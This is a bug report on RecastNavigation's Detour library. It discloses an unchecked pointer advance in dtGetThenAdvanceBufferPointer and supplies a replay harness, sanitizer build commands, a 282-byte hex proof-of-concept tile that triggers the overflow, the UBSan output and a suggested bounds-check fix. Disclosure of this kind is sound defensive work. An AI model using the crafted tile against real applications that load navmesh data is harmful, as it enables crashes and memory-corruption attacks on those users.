[Bug]dtGetThenAdvanceBufferPointer pointer-arithmetic overflow: unchecked buffer += distanceToAdvance with no dataSize guard (CWE-466)

Author: 1820893135-pixelCreated Aug 31, 2026Updated Aug 31, 2026

Summary

dtNavMesh::addTile advances a running pointer over the tile sub-sections via dtGetThenAdvanceBufferPointer, implemented as buffer += distanceToAdvance at Detour/Include/DetourCommon.h:519. distanceToAdvance is computed from attacker-controlled header count fields and never compared against dataSize. A 282-byte tile whose section size is extreme makes the addition wrap (0x612000000284 → 0x611ffc7c02a8), producing a dangling pointer for all subsequent section access. UBSan reports a pointer-overflow. 1 crash sample.

  • Affected versions: RecastNavigation master 9f4ce64458dfae86e1239c525ddc219c4e9e06f1 (all releases to date)
  • Severity: Medium
  • CWE: CWE-466 (Return of Pointer Value Outside of Expected Range)

Detail

Affected code

cpp
template <class T> T* dtGetThenAdvanceBufferPointer(
    unsigned char*& buffer, int& distance, ...)
{
    T* result = (T*)buffer;
    buffer += distance;        /* line 519: pointer overflow when distance is extreme */
    distance = 0;
    return result;
}

Root cause: distance (each section size, e.g. bvtreeSize for the POC) comes from attacker-controlled header fields and is added to the running buffer pointer without any comparison against dataSize. When the accumulation exceeds the addressable range the pointer arithmetic overflows (UB, CWE-466), producing a dangling pointer that all subsequent section writes/reads target — the enabling primitive for the OOB memory family across addTile.

Build the reproducer

  1. Clone RecastNavigation and check out the affected commit:
bash
git clone https://github.com/recastnavigation/recastnavigation.git
cd recastnavigation
git checkout 9f4ce64458dfae86e1239c525ddc219c4e9e06f1
  1. Save this standalone replay driver as dbg_addtile.cpp (calls the public dtNavMesh::addTile API on every file argument):
cpp
#include <cstdio>
#include <cstdlib>
#include <cstring>
#include <vector>
#include "DetourNavMesh.h"

int main(int argc, char** argv) {
    for (int i = 1; i < argc; ++i) {
        FILE* f = fopen(argv[i], "rb");
        if (!f) return 2;
        fseek(f, 0, SEEK_END); long n = ftell(f); rewind(f);
        std::vector<unsigned char> buf((size_t)n);
        fread(buf.data(), 1, (size_t)n, f);
        fclose(f);
        dtNavMesh mesh;
        dtNavMeshParams params;
        memset(&params, 0, sizeof(params));
        params.tileWidth = 1.0f; params.tileHeight = 1.0f;
        params.maxTiles = 8; params.maxPolys = 64;
        dtStatus is = mesh.init(&params);
        printf("=== %s (%ld B) init=%08x ", argv[i], n, is);
        unsigned char* b = (unsigned char*)malloc(n);
        memcpy(b, buf.data(), n);
        dtTileRef result = 0;
        dtStatus st = mesh.addTile(b, (int)n, 0, 0, &result);
        printf("addTile=%08x result=%08x\n", st, result);
        free(b);
    }
    return 0;
}
  1. Compile with ASan + UBSan (dbg_addtile):
bash
clang++ -std=c++11 -fno-rtti -fno-exceptions -fsanitize=address,undefined -g \
  -I Detour/Include dbg_addtile.cpp \
  Detour/Source/DetourAlloc.cpp Detour/Source/DetourAssert.cpp \
  Detour/Source/DetourCommon.cpp Detour/Source/DetourNavMesh.cpp \
  Detour/Source/DetourNavMeshBuilder.cpp Detour/Source/DetourNavMeshQuery.cpp \
  Detour/Source/DetourNode.cpp -o dbg_addtile

For a pure-UBSan report of the UB findings, build a second binary without ASan and with the trap flags:

bash
clang++ -std=c++11 -fno-rtti -fno-exceptions -fsanitize=undefined -fno-sanitize-recover=all -g \
  -I Detour/Include dbg_addtile.cpp \
  Detour/Source/DetourAlloc.cpp Detour/Source/DetourAssert.cpp \
  Detour/Source/DetourCommon.cpp Detour/Source/DetourNavMesh.cpp \
  Detour/Source/DetourNavMeshBuilder.cpp Detour/Source/DetourNode.cpp \
  -o dbg_addtile_ubonly

POC (tested on the unmodified source)

Save the 282-byte POC:

bash
python3 -c "open('poc.bin','wb').write(bytes.fromhex('56414e4407000000000000000000000000000000000000df000000000300000001000000010000000000000001000000020000000100e7ff00000000000000409a99193f6666663fe5fb000000000000000000000000f0410000f041000000f0410000a0400000000000000400000000000000803f000000000000000000000000000000000000803f00000000000001000200ffffffffffff0000000000000000000000000000000000000000ffff0000000000001f000000000000007f010003000000000000000000000000000000810000000000000100000003000000000200000000ff006f00000000010000000000000000ff07ffffffcdcccc3d00000000cdcccc3dcdcc4c3e00000000cdcc4c3e0000803f00000000'))"

Run:

bash
./dbg_addtile_ubonly poc.bin

Trigger result

Verified on the unmodified source (UndefinedBehaviorSanitizer):

.../Detour/Include/DetourCommon.h:519:9: runtime error: addition of unsigned offset to 0x612000000284 overflowed to 0x611ffc7c02a8
SUMMARY: UndefinedBehaviorSanitizer: undefined-behavior .../Detour/Include/DetourCommon.h:519:9 in
  • Replay exit code: 1 (abort/trap)
  • Deterministic: yes — 1 crash sample(s) (id:000023) all reproduce the same root cause
Image

Suggested fix

Bound every advance against the remaining input before the arithmetic:

cpp
// for each section, with bufferEnd = data + dataSize:
if (distance > 0 && (buffer + distance > bufferEnd))
    return DT_FAILURE | DT_INVALID_PARAM;
T* result = dtGetThenAdvanceBufferPointer<T>(buffer, distance);

Source: recastnavigation/recastnavigation